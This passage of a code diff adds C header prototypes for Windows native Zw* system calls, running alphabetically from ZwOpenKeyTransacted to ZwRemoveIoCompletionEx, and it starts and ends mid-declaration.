POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE TransactionHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenKeyTransactedEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions, + _In_ HANDLE TransactionHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ ACCESS_MASK GrantedAccess, + _In_opt_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN ObjectCreation, + _In_ BOOLEAN AccessGranted, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenPrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PVOID BoundaryDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenSession( + _Out_ PHANDLE SessionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LPGUID Uow, + _In_opt_ HANDLE TmHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ LPGUID TmIdentity, + _In_opt_ ULONG OpenOptions + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPlugPlayControl( + _In_ PLUGPLAY_CONTROL_CLASS PnPControlClass, + _Inout_updates_bytes_(PnPControlDataLength) PVOID PnPControlData, + _In_ ULONG PnPControlDataLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPowerInformation( + _In_ POWER_INFORMATION_LEVEL InformationLevel, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPrepareComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPrepareEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPrePrepareComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPrePrepareEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPrivilegedServiceAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_ PUNICODE_STRING ServiceName, + _In_ HANDLE ClientToken, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPrivilegeObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPropagationComplete( + _In_ HANDLE ResourceManagerHandle, + _In_ ULONG RequestCookie, + _In_ ULONG BufferLength, + _In_ PVOID Buffer + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPropagationFailed( + _In_ HANDLE ResourceManagerHandle, + _In_ ULONG RequestCookie, + _In_ NTSTATUS PropStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwPulseEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_BASIC_INFORMATION FileInformation + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryBootEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryBootOptions( + _Out_writes_bytes_opt_(*BootOptionsLength) PBOOT_OPTIONS BootOptions, + _Inout_ PULONG BootOptionsLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryDefaultLocale( + _In_ BOOLEAN UserProfile, + _Out_ PLCID DefaultLocaleId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryDefaultUILanguage( + _Out_ LANGID *DefaultUILanguageId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_writes_bytes_opt_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryDriverEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_writes_bytes_(EventInformationLength) PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationAtom( + _In_ RTL_ATOM Atom, + _In_ ATOM_INFORMATION_CLASS AtomInformationClass, + _Out_writes_bytes_(AtomInformationLength) PVOID AtomInformation, + _In_ ULONG AtomInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationByName( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass, + _Out_writes_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation, + _In_ ULONG EnlistmentInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationPort( + _In_ HANDLE PortHandle, + _In_ PORT_INFORMATION_CLASS PortInformationClass, + _Out_writes_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationResourceManager( + _In_ HANDLE ResourceManagerHandle, + _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass, + _Out_writes_bytes_(ResourceManagerInformationLength) PVOID ResourceManagerInformation, + _In_ ULONG ResourceManagerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_writes_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationTransaction( + _In_ HANDLE TransactionHandle, + _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass, + _Out_writes_bytes_(TransactionInformationLength) PVOID TransactionInformation, + _In_ ULONG TransactionInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationTransactionManager( + _In_ HANDLE TransactionManagerHandle, + _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass, + _Out_writes_bytes_(TransactionManagerInformationLength) PVOID TransactionManagerInformation, + _In_ ULONG TransactionManagerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryInstallUILanguage( + _Out_ LANGID *InstallUILanguageId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryIntervalProfile( + _In_ KPROFILE_SOURCE ProfileSource, + _Out_ PULONG Interval + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_writes_bytes_(MutantInformationLength) PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryOpenSubKeys( + _In_ POBJECT_ATTRIBUTES TargetKey, + _Out_ PULONG HandleCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryOpenSubKeysEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG BufferLength, + _Out_writes_bytes_opt_(BufferLength) PVOID Buffer, + _Out_ PULONG RequiredSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter, + _Out_opt_ PLARGE_INTEGER PerformanceFrequency + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryPortInformationProcess( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(SidListLength) PVOID SidList, + _In_ ULONG SidListLength, + _In_opt_ PSID StartSid, + _In_ BOOLEAN RestartScan + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySecurityAttributesToken( + _In_ HANDLE TokenHandle, + _In_reads_opt_(NumberOfAttributes) PUNICODE_STRING Attributes, + _In_ ULONG NumberOfAttributes, + _Out_writes_bytes_(Length) PVOID Buffer, // PTOKEN_SECURITY_ATTRIBUTES_INFORMATION + _In_ ULONG Length, + _Out_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_writes_bytes_opt_(Length) PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _Out_writes_bytes_(ValueLength) PWSTR VariableValue, + _In_ USHORT ValueLength, + _Out_opt_ PUSHORT ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _Out_writes_bytes_opt_(*ValueLength) PVOID Value, + _Inout_ PULONG ValueLength, + _Out_opt_ PULONG Attributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySystemInformationEx( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQuerySystemTime( + _Out_ PLARGE_INTEGER SystemTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_writes_bytes_(TimerInformationLength) PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryTimerResolution( + _Out_ PULONG MaximumTime, + _Out_ PULONG MinimumTime, + _Out_ PULONG CurrentTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_writes_bytes_(MemoryInformationLength) PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FSINFOCLASS FsInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID *ExplicitScope, + _Out_ PWNF_CHANGE_STAMP ChangeStamp, + _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, + _Inout_ PULONG BufferSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueryWnfStateNameInformation( + _In_ PCWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_INFORMATION NameInfoClass, + _In_opt_ const VOID *ExplicitScope, + _Out_writes_bytes_(InfoBufferSize) PVOID InfoBuffer, + _In_ ULONG InfoBufferSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwQueueApcThreadEx( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE UserApcReserveHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRaiseHardError( + _In_ NTSTATUS ErrorStatus, + _In_ ULONG NumberOfParameters, + _In_ ULONG UnicodeStringParameterMask, + _In_reads_(NumberOfParameters) PULONG_PTR Parameters, + _In_ ULONG ValidResponseOptions, + _Out_ PULONG Response + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReadFileScatter( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReadOnlyEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_writes_bytes_to_(BufferSize, *NumberOfBytesRead) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRecoverEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PVOID EnlistmentKey + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRecoverResourceManager( + _In_ HANDLE ResourceManagerHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRecoverTransactionManager( + _In_ HANDLE TransactionManagerHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRegisterProtocolAddressInformation( + _In_ HANDLE ResourceManager, + _In_ PCRM_PROTOCOL_ID ProtocolId, + _In_ ULONG ProtocolInformationSize, + _In_ PVOID ProtocolInformation, + _In_opt_ ULONG CreateOptions + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRegisterThreadTerminatePort( + _In_ HANDLE PortHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReleaseCMFViewOwnership( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReleaseKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_opt_ PLONG PreviousCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReleaseWorkerFactoryWorker( + _In_ HANDLE WorkerFactoryHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRemoveIoCompletion( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID *KeyContext, + _Out_ PVOID *ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRemoveIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _Out_writes_to_(Count, *NumEntriesRemoved) PFILE_IO_COMPLETION_INFORMATION 